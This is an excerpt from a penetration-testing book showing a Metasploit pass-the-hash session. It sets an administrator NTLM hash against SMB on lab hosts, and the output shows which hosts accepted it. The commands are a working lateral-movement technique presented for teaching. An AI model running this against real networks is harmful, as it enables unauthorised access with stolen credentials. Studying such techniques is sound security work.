concept - hash in category security

appears as: -hash
The Art of Network Penetration Testing

This is an excerpt from Manning's book The Art of Network Penetration Testing.

Unfortunately, it is not possible to use the pass-the-hash technique with cached domain hashes due to the way in which remote authentication works in Windows. These hashes are still useful though because it is possible to crack them using a password cracking tools called John the Ripper.

Listing 8.9 Passing-the-hash with Metasploit
msf5 exploit(windows/smb/ms17_010_psexec) > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set smbuser administrator
smbuser => administrator
msf5 auxiliary(scanner/smb/smb_login) > set smbpass aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c366576737
smbpass => aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c366576737
msf5 auxiliary(scanner/smb/smb_login) > set smbdomain .
smbdomain => .
msf5 auxiliary(scanner/smb/smb_login) > set rhosts file:/home/royce/capsulecorp/discovery/hosts/windows.txt
rhosts => file:/home/royce/capsulecorp/discovery/hosts/windows.txt
msf5 auxiliary(scanner/smb/smb_login) > set threads 10
threads => 10
msf5 auxiliary(scanner/smb/smb_login) > run
 
[*] 10.0.10.200:445       - 10.0.10.200:445 - Starting SMB login bruteforce
[*] 10.0.10.201:445       - 10.0.10.201:445 - Starting SMB login bruteforce
[*] 10.0.10.208:445       - 10.0.10.208:445 - Starting SMB login bruteforce
[*] 10.0.10.207:445       - 10.0.10.207:445 - Starting SMB login bruteforce
[*] 10.0.10.205:445       - 10.0.10.205:445 - Starting SMB login bruteforce
[*] 10.0.10.206:445       - 10.0.10.206:445 - Starting SMB login bruteforce
[*] 10.0.10.202:445       - 10.0.10.202:445 - Starting SMB login bruteforce
[*] 10.0.10.203:445       - 10.0.10.203:445 - Starting SMB login bruteforce
[-] 10.0.10.201:445       - 10.0.10.201:445 - Failed: '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c366576737',
[+] 10.0.10.207:445       - 10.0.10.207:445 – Success    #B '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c366576737' Administrator
[-] 10.0.10.200:445       - 10.0.10.200:445 - Failed: '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c366576737',
[+] 10.0.10.208:445       - 10.0.10.208:445 – Success    #A '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c366576737' Administrator
[*] Scanned 1 of 8 hosts (12% complete)
[*] Scanned 2 of 8 hosts (25% complete)
[-] 10.0.10.203:445       - 10.0.10.203:445 - Failed: '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c366576737',
[-] 10.0.10.202:445       - 10.0.10.202:445 - Failed: '.\administrator:aad3b435b51404eeaad3b435b51404ee:c1ea09ab1bab83a9c9c1f1c366576737',
[*] Scanned 6 of 8 hosts (75% complete)
[-] 10.0.10.206:445       - 10.0.10.206:445 - Could not connect
[-] 10.0.10.205:445       - 10.0.10.205:445 - Could not connect
[*] Scanned 7 of 8 hosts (87% complete)
[*] Scanned 8 of 8 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_login) >